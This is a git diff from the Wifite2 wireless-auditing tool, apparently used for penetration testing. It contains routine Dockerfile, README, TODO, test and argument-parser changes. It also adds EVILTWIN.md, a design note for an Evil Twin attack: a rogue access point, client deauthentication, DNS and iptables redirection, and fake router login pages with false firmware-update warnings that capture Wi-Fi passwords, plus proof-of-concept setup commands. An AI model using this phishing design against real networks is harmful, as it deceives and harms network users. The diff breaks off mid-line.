diff --git a/Dockerfile b/Dockerfile index 15b9e96d2..ad567939c 100644 --- a/Dockerfile +++ b/Dockerfile @@ -7,7 +7,7 @@ ENV HASHCAT_VERSION hashcat-3.6.0 RUN echo "deb-src http://deb.debian.org/debian jessie main" >> /etc/apt/sources.list RUN apt-get update && apt-get upgrade -y RUN apt-get install ca-certificates gcc openssl make kmod nano wget p7zip build-essential libsqlite3-dev libpcap0.8-dev libpcap-dev sqlite3 pkg-config libnl-genl-3-dev libssl-dev net-tools iw ethtool usbutils pciutils wireless-tools git curl wget unzip macchanger pyrit tshark -y -RUN apt-get build-dep aircrack-ng +RUN apt-get build-dep aircrack-ng -y @@ -16,7 +16,7 @@ RUN wget http://download.aircrack-ng.org/aircrack-ng-1.2-rc4.tar.gz RUN tar xzvf aircrack-ng-1.2-rc4.tar.gz WORKDIR /aircrack-ng-1.2-rc4/ RUN make -RUN make installl +RUN make install RUN airodump-ng-oui-update # Workdir / @@ -24,7 +24,7 @@ WORKDIR / # Install wps-pixie RUN git clone https://github.com/wiire/pixiewps -WORKDIR /pixiewps/src/ +WORKDIR /pixiewps/ RUN make RUN make install @@ -47,7 +47,7 @@ WORKDIR / #Install and configure hashcat RUN mkdir hashcat && \ cd hashcat && \ - wget http://hashcat.net/files/${HASHCAT_VERSION}.7z && \ + wget https://hashcat.net/files_legacy/${HASHCAT_VERSION}.7z && \ 7zr e ${HASHCAT_VERSION}.7z diff --git a/EVILTWIN.md b/EVILTWIN.md new file mode 100644 index 000000000..9ca123546 --- /dev/null +++ b/EVILTWIN.md @@ -0,0 +1,386 @@ +An idea from Sandman: Include "Evil Twin" attack in Wifite. + +This page tracks the requirements for such a feature. + +Evil Twin +========= + +[Fluxion](https://github.com/FluxionNetwork/fluxion) is a popular example of this attack. + +The attack requires multiple wireless cards: + +1. Hosts the twin. +2. Deauthenticates clients. + +As clients connect to the Evil Twin, they are redirected to a fake router login page. + +Clients enter the password to the target AP. The Evil Twin then: + +1. Captures the Wifi password, +2. Verifies Wifi password against the target AP, +3. If valid, all clients are deauthed from Evil Twin so they re-join the target AP. +4. Otherwise, tell the user the password is invalid and to "try again". GOTO step #1. + +Below are all of the requirements/components that Wifite would need for this feature. + + +DHCP +==== +We need to auto-assign IP addresses to clients as they connect (via DHCP?). + + +DNS Redirects +============= +All DNS requests need to redirect to the webserver: + +1. So we clients are encouraged to login. +2. So we can intercept health-checks by Apple/Google + + +Rogue AP, Server IP Address, etc +================================ +Probably a few ways to do this in Linux; should use the most reliable & supported method. + +Mainly we need to: + +1. Spin up the Webserver on some port (8000) +2. Start the Rogue AP +3. Assign localhost on port 8000 to some subnet IP (192.168.1.254) +4. Start DNS-redirecting all hostnames to 192.168.1.254. +5. Start DHCP to auto-assign IPs to incoming clients. +6. Start deauthing clients of the real AP. + +I think steps 3-5 can be applied to a specific wireless card (interface). + +* TODO: More details on how to start the fake AP, assign IPs, DHCP, DNS, etc. + * Fluxion using `hostapd`: [code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/hostapd.sh#L59-L64) + * Kali "Evil Wireless AP" (uses `hostapd`): [article](https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/) + * Fluxion using `airbase-ng`: [code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/airbase-ng.sh#L76-L77) +* TODO: Should the Evil Twin spoof the real AP's hardware MAC address? + * Yes, looks like that's what Fluxion does ([code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/hostapd.sh#L66-L74)). + + +ROGUE AP +======== +Gleaned this info from: + +* ["Setting up wireless access point in Kali"](https://www.psattack.com/articles/20160410/setting-up-a-wireless-access-point-in-kali/) by PSAttack +* ["Kali Linux Evil Wireless Access Point"](https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/) by OffensiveSecurity +* ["SniffAir" hostapd script](https://github.com/Tylous/SniffAir/blob/master/module/hostapd.py) + + +HOSTAPD +------- +* Starts access point. +* Not included in Kali by-default. +* Installable via `apt-get install hostapd`. +* [Docs](https://wireless.wiki.kernel.org/en/users/documentation/hostapd) + +Config file format (e.g. `~/hostapd.conf`): + +``` +driver=nl80211 # 'nl80211' appears in all hostapd tutorials I've found. +ssid=$EVIL_SSID # SSID/name of Evil Twin (should match target's) +hw_mode=$BAND # Wifi Band, e.g. "g" or "g+n" +channel=$CHANNEL # Numeric, e.g. "6' +``` + +Run: + +``` +hostapd ~/hostapd.conf -i wlan0 +``` + + +DNSMASQ +------- + +* Included in Kali. +* Installable via `apt-get install dnsmasq` +* Handles DNS and DHCP. +* [Install & Overview](http://www.thekelleys.org.uk/dnsmasq/doc.html), [Manpage](http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html) + +Config file format (e.g. `~/dnsmasq.conf`): + +``` +interface=wlan0 +dhcp-range=10.0.0.10,10.0.0.250,12h +dhcp-option=3,10.0.0.1 +dhcp-option=6,10.0.0.1 +#no-resolv +server=8.8.8.8 +log-queries +log-dhcp + +# Redirect all requests (# is wildcard) to IP of evil web server: +# TODO: We should rely on iptables, right? Otherwise this redirects traffic from all ports... +#address=/#/192.168.1.254 +``` + +"DNS Entries" file format (`~/dns_entries`): + +``` +[DNS Name] [IP Address] +# TODO: Are wildcards are supported? +* 192.168.1.254 # IP of web server +``` + +Run: + +``` +dnsmasq -C ~/dnsmasq.conf -H ~/dns_entries +``` + +IPTABLES +-------- +From [this thread on raspberrypi.org](https://www.raspberrypi.org/forums/viewtopic.php?p=288263&sid=b6dd830c0c241a15ac0fe6930a4726c9#p288263) + +> *Use iptables to redirect all traffic directed at port 80 to the http server on the Pi* +> `sudo iptables -t nat -A PREROUTING -d 0/0 -p tcp –dport 80 -j DNAT –to 192.168.1.254:80` + +And from Andreas Wiese on [UnixExchange](https://unix.stackexchange.com/a/125300) + +> *You could get this with a small set of iptables rules redirecting all traffic to port 80 and 443 your AP's address:* +> `# iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination localhost:80` +> `# iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination localhost:80` + +TODO: + +* What about HTTPS traffic (port 443)? + * We want to avoid browser warnings (scary in Chrome & Firefox). + * Don't think we can send a 302 redirect to port 80 without triggering the invalid certificate issue. + * sslstrip may get around this... + + +DEAUTHING +========= +While hosting the Evil Twin + Web Server, we need to deauthenticate clients from the target AP so they join the Evil Twin. + +Listening +--------- +We need to listen for more clients and automatically start deauthing new clients as they appear. + +This might be supported by existing tools... + +MDK +--- +Deauthing & DoS is easy to do using [MDK](https://tools.kali.org/wireless-attacks/mdk3) or `aireplay-ng`. + +I think MDK is a better tool for this job, but Wifite already requires the `aircrack` suite, so we should support both. + +TODO: Require MDK if it is miles-ahead of `aireplay-ng` +TODO: Figure out MDK commands for persistent deauths; if we can provide a list of client MAC addresses & BSSIDs. + + +Website +======= + +Router Login Pages +------------------ +These are different for every vendor. + +Fluxion has a repo with fake login pages for a lot of popular router vendors ([FluxionNetwork/sites](https://github.com/FluxionNetwork/sites)). That repo includes sites in various languages. + +We need just the base router page HTML (Title/logo) and CSS (colors/font) for popular vendors. + +We also need a "generic" login page in case we don't have the page for a vendor. + +1. Web server to host HTML, images, fonts, and CSS that the vendor uses. +3. Javascript to send the password to the webserver + + +Language Support +---------------- +Note: Users should choose the language to host; they know better than any script detection. + +Each router page will have a warning message telling the client they need to enter the Wifi password: + * "Password is required after a router firmware update" + +The Login page content (HTML/images/css) could be reduced to just the logo and warning message. No navbars/sidebars/links to anything else. + +Then only the warning message needs to be templatized by-language (we only need one sentence per language). + +That would avoid the need for separate "sites" for each Vendor *and* language. + +But we probably need other labels to be translated as well: + +* Title of page ("Router Login Page") +* "Password:" +* "Re-enter Password:" +* "Reconnect" or "Login" + +...So 5 sentences per language. Not bad. + +The web server could send a Javascript file containing the language variable values: + +```javascript +document.title = 'Router Login'; +document.querySelector('#warn').textContent('You need to login after router firmware upgrade.'); +document.querySelector('#pass').textContent('Password:'); +// ... +``` + + +One HTML File +------------- +We can compact everything into a single HTML file: + +1. Inline CSS +2. Inline images (base64 image/jpg) +3. Some placeholders for the warning message, password label, login button. + +This would avoid the "lots of folders" problem; one folder for all .html files. + +E.g. `ASUS.html` can be chosen when the target MAC vendor contains `ASUS`. + + +AJAX Password Submission +------------------------ +The website needs to send the password to the webserver, likely through some endpoint (e.g. `./login.cgi?password1=...&password2=...`). + +Easy to do in Javascript (via a simple `
` or even `XMLHttpRequest`). + + +Webserver +========= +The websites served by the webserver is dynamic and depends on numerous variables. + +We want to utilize the CGIHTTPServer in Python which would make some the logic easier to track. + + +Spoofing Health Checks +---------------------- +Some devices (Android, iOS, Windows?) verify the AP has an internet connection by requesting some externally-hosted webpage. + +We want to spoof those webpages *exactly* so the client's device shows the Evil Twin as "online". + +Fluxion does this [here](https://github.com/FluxionNetwork/fluxion/tree/master/attacks/Captive%20Portal/lib/connectivity%20responses) (called *"Connectivity Responses"*). + +Specifically [in the `lighttpd.conf` here](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/attacks/Captive%20Portal/attack.sh#L687-L698). + +Requirements: + +* Webserver detects requests to these health-check pages and returns the expected response (HTML, 204, etc). + +TODO: Go through Fluxion to know hostnames/paths and expected responses for Apple & Google devices. + + +HTTPS +----- +What if Google, Apple requires HTTPS? Can we spoof the certs somehow? Or redirect to HTTP? + + +Spoofing Router Login Pages +--------------------------- +We can detect the router vendor based on the MAC address. + +If we have a fake login page for that vendor, we serve that. + +Otherwise we serve a generic login page. + +TODO: Can we use macchanger to detect vendor, or have some mapping of `BSSID_REGEX -> HTML_FILE`? + + +Password Capture +---------------- +Webserver needs to know when a client enters a password. + +This can be accomplished via a simple CGI endpoint or Python script. + +E.g. `login.cgi` which reads `password1` and `password2` from the query string. + + +Password Validation +------------------- +The Webserver needs to know when the password is valid. + +This requires connecting to the target AP on an unused wireless card: + +1. First card is hosting the webserver. It would be awkward if that went down. +2. Second card is Deauthing clients. This could be 'paused' while validating the password, but that may allow clients to connect to the target AP. +3. ...A third wifi card may make this cleaner. + +TODO: The exact commands to verify Wifi passwords in Linux; I'm guessing we have to use `wpa_supplicant` and the like. +TODO: Choose the fastest & most-relaiable method for verifying wifi paswords + + +Evil Webserver & Deauth Communication +------------------------------------- +The access point hosting the Evil Twin needs to communicate with the Deauth mechanism: + +1. Which BSSIDs to point to the Evil Twin, +2. Which BSSIDs to point to the real AP. + +Since the webserver needs to run for the full length of th attack, we could control the state of the attack inside the webserver. + +So the webserver would need to maintain: + +1. List of BSSIDs to deauth from real AP (so they join Evil Twin), +2. List of BSSIDs to deauth from Evil Twin (so they join real AP), +3. Background process which is deauthing the above BSSIDs on a separate wireless card. + +I am not sure how feasible this is in Python; we could also resort to using static files to store the stage (e.g. JSON file with BSSIDs and current step -- e.g. "Shutting down" or "Waiing for password"). + +TODO: See if the CGIHTTPServer has some way we can maintain/alter background threads. +TODO: See how hard it would be to maintain state in the CGIHTTPServer (do we have to use the filesystem?) + + +Success & Cleanup +----------------- +When the password is found, we want to send a "success" message to the AJAX request, so the user gets instant feedback (and maybe a "Reconnecting..." message). + +During shutdown, we need to deauth all clients from the Evil Twin so they re-join the real AP. + +This deauthing should continue until all clients are deauthenticated from the Evil Twin. + +Then the script can be stopped. + + +Proof of Concept +================ + +Start AP and capture all port-80 traffic: + +``` +ifconfig wlan0 10.0.0.1/24 up + +# start dnsmasq for dhcp & dns resolution (runs in background) +killall dnsmasq +dnsmasq -C dnsmasq.conf + +# reroute all port-80 traffic to our machine +iptables -N internet -t mangle +iptables -t mangle -A PREROUTING -j internet +iptables -t mangle -A internet -j MARK --set-mark 99 +iptables -t nat -A PREROUTING -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1 +echo "1" > /proc/sys/net/ipv4/ip_forward +iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT +iptables -A FORWARD -m mark --mark 99 -j REJECT +iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT +iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE + +# start wifi access point (new terminal) +killall hostapd +hostapd ./hostapd.conf -i wlan0 + +# start webserver on port 80 (new terminal) +python -m SimpleHTTPServer 80 +``` + +Cleanup: + +``` +# stop processes +# ctrl+c hostapd +# ctrl+c python simple http server +killall dnsmasq + +# reset iptables +iptables -F +iptables -X +iptables -t nat -F +iptables -t nat -X +iptables -t mangle -F +iptables -t mangle -X +``` + diff --git a/README.md b/README.md index 5a07a6609..92788300a 100644 --- a/README.md +++ b/README.md @@ -1,38 +1,92 @@ Wifite 2 ======== + A complete re-write of [`wifite`](https://github.com/derv82/wifite), a Python script for auditing wireless networks. -What's new? ------------ -* Lots of files instead of "one big script". -* Cleaner process management -- No longer leaves processes running in the background. -* UX: Target access points are refreshed every second instead of every 5 seconds. -* UX: Displays realtime Power level (in db) of currently-attacked target +Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches! + +What's new in Wifite2? +---------------------- + +* **Less bugs** + * Cleaner process management. Does not leave processes running in the background (the old `wifite` was bad about this). + * No longer "one monolithic script". Has working unit tests. Pull requests are less-painful! +* **Speed** + * Target access points are refreshed every second instead of every 5 seconds. +* **Accuracy** + * Displays realtime Power level of currently-attacked target. + * Displays more information during an attack (e.g. % during WEP chopchop attacks, Pixie-Dust step index, etc) +* **Educational** + * The `--verbose` option (expandable to `-vv` or `-vvv`) shows which commands are executed & the output of those commands. + * This can help debug why Wifite is not working for you. Or so you can learn how these tools are used. +* Actively developed (as of March 2018). +* Python 3 support. +* Sweet new ASCII banner. + +What's gone in Wifite2? +----------------------- + +* No more WPS PIN attack, because it can take days on-average. + * However, the Pixie-Dust attack is still an option. +* Some command-line arguments (`--wept`, `--wpst`, and other confusing switches). + * You can still access some of these, try `./Wifite.py -h -v` What's not new? --------------- -* Backwards compatibility with the original `wifite`'s arguments. + +* (Mostly) Backwards compatibile with the original `wifite`'s arguments. * Same text-based interface everyone knows and loves. -Full Feature List ------------------ -* Reaver Pixie-Dust attack (`--pixie`) -* Reaver WPS PIN attack (`--reaver`) -* WPA handshake capture (`--no-reaver`) -* Validates handshakes against `pyrit`, `tshark`, `cowpatty`, and `aircrack-ng` -* Various WEP attacks (replay, chopchop, fragment, etc) -* 5Ghz support for wireless cards that support 5ghz (use `-5` option) -* Stores cracked passwords and handshakes to the current directory, with metadata about the access point (via `--cracked` command). -* Decloaks hidden access points when channel is fixed (use `-c ` option) -* Provides commands to crack captured WPA handshakes (via `--crack` command) +Brief Feature List +------------------ + +* Reaver (or `-bully`) Pixie-Dust attack (enabled by-default, force with: `--wps-only`) +* WPA handshake capture (enabled by-default, force with: `--no-wps`) +* Validates handshakes against `pyrit`, `tshark`, `cowpatty`, and `aircrack-ng` (when available) +* Various WEP attacks (replay, chopchop, fragment, hirte, p0841, caffe-latte) +* Automatically decloaks hidden access points while scanning or attacking. + * Note: Only works when channel is fixed. Use the `-c ` switch. + * Disable this via `--no-deauths` switch +* 5Ghz support for some wireless cards (via `-5` switch). + * Note: Some tools don't play well on 5GHz channels (e.g. `aireplay-ng`) +* Stores cracked passwords and handshakes to the current directory (`--cracked`) + * Includes metadata about the access point. +* Provides commands to crack captured WPA handshakes (`--crack`) + * Includes all commands needed to crack using `aircrack-ng`, `john`, `hashcat`, or `pyrit`. + +Linux Distribution Support +-------------------------- -Support -------- -Wifite2 is designed entirely for the latest version of Kali Rolling release (tested on Kali 2016.2, updated May 2017). +Wifite2 is designed specifically for the latest version of **Kali**'s rolling release (tested on Kali 2017.2, updated Jan 2018). -This means only the latest versions of these programs are supported: Aircrack-ng suite, reaver, tshark, cowpatty. +Other pen-testing distributions (such as BackBox) have outdated versions of the tools used by Wifite; these distributions are not supported. -Other pen-testing distributions (such as BackBox) have outdated versions of these suites; these distributions are not supported. +Required Tools +-------------- + +Only the latest versions of these programs are supported: + +**Required:** + +* `iwconfig`: For identifying wireless devices already in Monitor Mode. +* `ifconfig`: For starting/stopping wireless devices. +* `Aircrack-ng` suite, includes: + * `aircrack-ng`: For cracking WEP .cap files and and WPA handshake captures. + * `aireplay-ng`: For deauthing access points, replaying capture files, various WEP attacks. + * `airmon-ng`: For enumerating and enabling Monitor Mode on wireless devices. + * `airodump-ng`: For target scanning & capture file generation. + * `packetforge-ng`: For forging capture files. + +**Optional, but Recommended:** + +* `tshark`: For detecting WPS networks and inspecting handshake capture files. +* `reaver`: For WPS Pixie-Dust attacks. + * Note: Reaver's `wash` tool can be used to detect WPS networks if `tshark` is not found. +* `bully`: For WPS Pixie-Dust attacks. + * Alternative to Reaver. Specify `--bully` to use Bully instead of Reaver. + * Bully is also used to fetch PSK if `reaver` cannot after cracking WPS PIN. +* `cowpatty`: For detecting handshake captures. +* `pyrit`: For detecting handshake captures. Installing & Running -------------------- @@ -45,6 +99,11 @@ cd wifite2 Screenshots ----------- +Cracking WPS PIN using `reaver`'s Pixie-Dust attack, then retrieving WPA PSK using `bully`: +![Pixie-Dust with Reaver to get PIN and Bully to get PSK](https://i.imgur.com/I2W0wND.gif) + +------------- + Decloaking & cracking a hidden access point (via the WPA Handshake attack): ![Decloaking and Cracking a hidden access point](http://i.imgur.com/MTMwSzM.gif) diff --git a/TODO.md b/TODO.md index ac10678b5..a458b722f 100644 --- a/TODO.md +++ b/TODO.md @@ -4,6 +4,62 @@ This file is a braindump of ideas to improve Wifite2 (or forward-looking to "Wif ------------------------------------------------------ +### Better Dependency Handling +I can rely on `pip` + `requirements.txt` for python libraries, but most of wifite's dependencies are installed programs. + +When a dependency is not found, Wifite should walk the user through installing all required dependencies, and maybe the optional dependencies as well. + +The dependency-installation walkthrough should provide or auto-execute the install commands (`git clone`, `wget | tar && ./config`, etc). + +Since we have a Python script for every dependency (under `wifite/tools/` or `wifite/util/`), we use Python's multiple-inheritance to achive this. + +Requirements: + +1. A base *Dependency* class + * `@abstractmethods` for `exists()`, `name()`, `install()`, `print_install()` +2. Update all dependencies to inherit *Dependency* + * Override abstract methods +3. Dependency-checker to run at Wifite startup. + * Check if all required dependencies exists. + * If required deps are missing, Prompt to install all (optional+required) or just required, or to continue w/o install with warning. + * If optional deps are missing, suggest `--install` without prompting. + * Otherwise continue silently. + +------------------------------------------------------ + +### Support Other Distributions (not just Kali x86/64) + +Off the top of my head: + +* Raspberry Pi (or any Debian distro) +* Raspberry Pi + Kali (?) +* Kali Nethunter +* Various other distributions (backbox, pentoo, blackarch, etc) + +Deprecation of "core" programs: + +* `iwconfig` is deprecated in favor of `iw` +* `ifconfig` is deprecated in favor of `ip` + +Versioning problems: + +* Pixiewps output differs depending on version + * Likewise for reaver & bully +* Reaver and bully args have changed significantly over the years (added/removed/required) +* airodump-ng --write-interval=1 doesn't work on older versions + * Same with --wps and a few other options :( +* airmon-ng output differs, wifite sees "phy0" instead of the interface name. + +Misc problems: + +* Some people have problems with multiple wifi cards plugged in + * Solution: User prompt when no devices are in monitor mode (ask first). +* Some people want wifite to kill network manager, others don't. + * Solution: User prompt to kill processes +* Some people need --ignore-negative-one on some wifi cards. + +------------------------------------------------------ + ### Command-line Arguments Wifite is a 'Spray and Pray', 'Big Red Button' script. Wifite should not provide obscure options that only advanced users can understand. Advanced users can simply use Wifite's dependencies directly. @@ -54,20 +110,13 @@ And some native Python implementations might be cross-platform, which would allo Some of Wifite's dependencies work on other OSes (airodump) but some don't (airmon). -If it's possible to run these programs on Windows or OSX, Wifite should suporrt that. - ------------------------------------------------------- - -### Backwards Compatibility - -* WIFITE: needs command-line parity with older versions (or does it?) -* AIRODUMP: --output-format, --wps, and other flags are only in new versions of Airodump. +If it's possible to run these programs on Windows or OSX, Wifite should support that. ------------------------------------------------------ ### WPS Attacks -Wifite's Pixie-Dust attack status output differs between Reaver & Bully. And the command line switches are... not even used? +Wifite's Pixie-Dust attack status output differs between Reaver & Bully. And the command line switches are... not even used by bully? Ideally for Pixie-Dust, we'd have: @@ -98,6 +147,8 @@ Users with that kind of dedication can run bully/reaver themselves. ### Directory structure +**Note: This was mostly done in the great refactoring of Late March 2018** + Too modular in some places, not modular enough in others. Not "/py": diff --git a/tests/files/airodump-weird-ssids.csv b/tests/files/airodump-weird-ssids.csv new file mode 100644 index 000000000..ac57f395e --- /dev/null +++ b/tests/files/airodump-weird-ssids.csv @@ -0,0 +1,13 @@ + +BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key +AA:BB:CC:DD:EE:FF, 2018-04-06 18:21:23, 2018-04-06 18:21:24, 10, 54, WPA2, CCMP,PSK, -34, 5, 0, 0. 0. 0. 0, 24, Comma\, no trailing space, +AA:BB:CC:DD:EE:FF, 2018-04-06 18:19:17, 2018-04-06 18:19:19, 10, 54, WPA2, CCMP,PSK, -35, 18, 0, 0. 0. 0. 0, 20, \"Quoted ESSID\, Comma\, no trailing spaces. \", +AA:BB:CC:DD:EE:FF, 2018-04-06 18:35:29, 2018-04-06 18:35:30, 10, 54, WPA2, CCMP,PSK, -31, 12, 0, 0. 0. 0. 0, 22, "Comma\, Trailing space ", +AA:BB:CC:DD:EE:FF, 2018-04-06 18:22:45, 2018-04-06 18:22:46, 10, 54, WPA2, CCMP,PSK, -29, 15, 0, 0. 0. 0. 0, 30, "\"quote\" comma\, trailing space ", +AA:BB:CC:DD:EE:FF, 2018-04-06 18:50:11, 2018-04-06 18:50:17, 10, 54, WPA2, CCMP,PSK, -20, 43, 0, 0. 0. 0. 0, 19, \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00, + + + + +Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs + diff --git a/tests/files/handshake_has_1234.cap b/tests/files/handshake_has_1234.cap new file mode 100644 index 000000000..b812010d1 Binary files /dev/null and b/tests/files/handshake_has_1234.cap differ diff --git a/tests/test_Airmon.py b/tests/test_Airmon.py new file mode 100644 index 000000000..0f3c1a940 --- /dev/null +++ b/tests/test_Airmon.py @@ -0,0 +1,24 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +import sys +sys.path.insert(0, '..') + +from wifite.tools.airmon import Airmon + +import unittest + +class TestAirmon(unittest.TestCase): + def test_airmon_start(self): + # From https://github.com/derv82/wifite2/issues/67 + stdout = ''' +PHY Interface Driver Chipset + +phy0 wlan0 iwlwifi Intel Corporation Centrino Ultimate-N 6300 (rev 3e) + + (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) + (mac80211 station mode vif disabled for [phy0]wlan0) +''' + mon_iface = Airmon._parse_airmon_start(stdout) + assert mon_iface == 'wlan0mon', 'Expected monitor-mode interface to be "wlan0mon" but got "{}"'.format(mon_iface) + diff --git a/tests/test_Airodump.py b/tests/test_Airodump.py new file mode 100644 index 000000000..5d085b69c --- /dev/null +++ b/tests/test_Airodump.py @@ -0,0 +1,52 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +import sys +sys.path.insert(0, '..') + +from wifite.tools.airodump import Airodump + +import unittest + +class TestAirodump(unittest.TestCase): + ''' Test suite for Wifite's interaction with the Airodump tool ''' + + + def test_airodump_weird_characters(self): + csv_filename = self.getFile('airodump-weird-ssids.csv') + targets = Airodump.get_targets_from_csv(csv_filename) + + target = targets[0] + expected = 'Comma, no trailing space' + assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) + + target = targets[1] + expected = '"Quoted ESSID, Comma, no trailing spaces. "' + assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) + + target = targets[2] + expected = 'Comma, Trailing space ' + assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) + + target = targets[3] + expected = '"quote" comma, trailing space ' + assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) + + # Hidden access point + target = targets[4] + assert target.essid_known == False, 'ESSID full of null characters should not be known' + expected = None + assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) + assert target.essid_len == 19, 'ESSID length shold be 19, but got %s' % target.essid_len + + + def getFile(self, filename): + ''' Helper method to parse targets from filename ''' + import os, inspect + this_file = os.path.abspath(inspect.getsourcefile(self.getFile)) + this_dir = os.path.dirname(this_file) + return os.path.join(this_dir, 'files', filename) + + +if __name__ == '__main__': + unittest.main() diff --git a/wifite/args.py b/wifite/args.py index c78c5071a..a4ab14d2d 100755 --- a/wifite/args.py +++ b/wifite/args.py @@ -1,7 +1,7 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- -from util.color import Color +from .util.color import Color import argparse, sys @@ -37,6 +37,9 @@ def get_arguments(self): wps_group = parser.add_argument_group('WPS') self._add_wps_args(wps_group) + eviltwin_group = parser.add_argument_group('EVIL TWIN') + self._add_eviltwin_args(eviltwin_group) + commands_group = parser.add_argument_group('COMMANDS') self._add_command_args(commands_group) @@ -49,14 +52,14 @@ def _add_global_args(self, glob): action='count', default=0, dest='verbose', - help=Color.s('Shows more options ({C}-h -v{W}). Prints tool outputs. (default: {G}quiet{W})')) + help=Color.s('Shows more options ({C}-h -v{W}). Prints commands and outputs. (default: {G}quiet{W})')) glob.add_argument('-i', action='store', dest='interface', metavar='[interface]', type=str, - help=Color.s('Wireless interface to use (default: {G}ask{W})')) + help=Color.s('Wireless interface to use (default: {G}choose first or ask{W})')) glob.add_argument('-c', action='store', @@ -67,7 +70,7 @@ def _add_global_args(self, glob): glob.add_argument('--channel', help=argparse.SUPPRESS, action='store', dest='channel', type=int) glob.add_argument('-mac', - '---random-mac', + '--random-mac', action='store_true', dest='random_mac', help=Color.s('Randomize wireless card MAC address (default: {G}off{W})')) @@ -118,6 +121,11 @@ def _add_global_args(self, glob): help=self._verbose('Hides targets with ESSIDs that match the given text')) glob.add_argument('--ignore-essid', help=argparse.SUPPRESS, action='store', dest='ignore_essid', type=str) + glob.add_argument('--clients-only', '-co', + action='store_true', + dest='clients_only', + help=Color.s('Only show targets that have associated clients (default: {G}off{W})')) + glob.add_argument('--showb', action='store_true', dest='show_bssids', @@ -139,6 +147,23 @@ def _add_global_args(self, glob): help=self._verbose('Number of deauth packets to send (default: {G}%d{W})' % self.config.num_deauths)) + def _add_eviltwin_args(self, group): + group.add_argument('-et', + '--eviltwin', + action='store_true', + dest='use_eviltwin', + help=Color.s('Use the "Evil Twin" attack against all targets (default: {G}off{W})')) + + group.add_argument('-eti', + '--evitwin-iface', + type=str, + dest='eviltwin_iface', + metavar='[iface]', + default=None, + help=Color.s('Wireless interface to use when creating the Fake AP (evil twin)')) + # TODO: Args to specify other options (server port, etc). + + def _add_wep_args(self, wep): # WEP wep.add_argument('--wep', @@ -154,6 +179,12 @@ def _add_wep_args(self, wep): wep.add_argument('--nofakeauth', help=argparse.SUPPRESS, action='store_true', dest='require_fakeauth') wep.add_argument('-nofakeauth', help=argparse.SUPPRESS, action='store_true', dest='require_fakeauth') + wep.add_argument('--keep-ivs', + action='store_true', + dest='wep_keep_ivs', + default=False, + help=Color.s('Retain .IVS files and reuse when cracking (default: {G}off{W})')) + wep.add_argument('--pps', action='store', dest='wep_pps', @@ -292,56 +323,55 @@ def _add_wps_args(self, wps): dest='wps_filter', help=Color.s('Filter to display only WPS-enabled networks')) wps.add_argument('-wps', help=argparse.SUPPRESS, action='store_true', dest='wps_filter') + wps.add_argument('--bully', action='store_true', dest='use_bully', help=Color.s('Use {C}bully{W} instead of {C}reaver{W} for WPS attacks (default: {G}reaver{W})')) + # Alias + wps.add_argument('-bully', help=argparse.SUPPRESS, action='store_true', dest='use_bully') + wps.add_argument('--no-wps', action='store_true', dest='no_wps', help=Color.s('{O}NEVER{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})')) + wps.add_argument('--wps-only', action='store_true', dest='wps_only', help=Color.s('{G}ALWAYS{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})')) + # Alias + wps.add_argument('--pixie', help=argparse.SUPPRESS, action='store_true', dest='wps_only') - # Same as --wps-only - wps.add_argument('--pixie', - help=argparse.SUPPRESS, - action='store_true', - dest='wps_only') - - wps.add_argument('--pixiet', + # Time limit on entire attack. + wps.add_argument('--wps-time', action='store', dest='wps_pixie_timeout', - metavar='[seconds]', + metavar='[sec]', type=int, - help=self._verbose('Time to wait before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_timeout)) - wps.add_argument('--pixiest', - action='store', - dest='wps_pixie_step_timeout', - metavar='[seconds]', - type=int, - help=self._verbose('Time to wait for a step to progress before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_step_timeout)) - wps.add_argument('--wpsmf', + help=self._verbose('Total time to wait before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_timeout)) + # Alias + wps.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wps_pixie_timeout', type=int) + + # Maximum number of "failures" (WPSFail) + wps.add_argument('--wps-fails', action='store', dest='wps_fail_threshold', - metavar='[fails]', + metavar='[num]', type=int, - help=self._verbose('Maximum number of WPS Failures before failing attack (default: {G}%d{W})' % self.config.wps_fail_threshold)) - wps.add_argument('-wpsmf', help=argparse.SUPPRESS, action='store', dest='wps_fail_threshold', type=int) - wps.add_argument('--wpsmt', + help=self._verbose('Maximum number of WPSFail/NoAssoc errors before failing (default: {G}%d{W})' % self.config.wps_fail_threshold)) + # Alias + wps.add_argument('-wpsf', help=argparse.SUPPRESS, action='store', dest='wps_fail_threshold', type=int) + + # 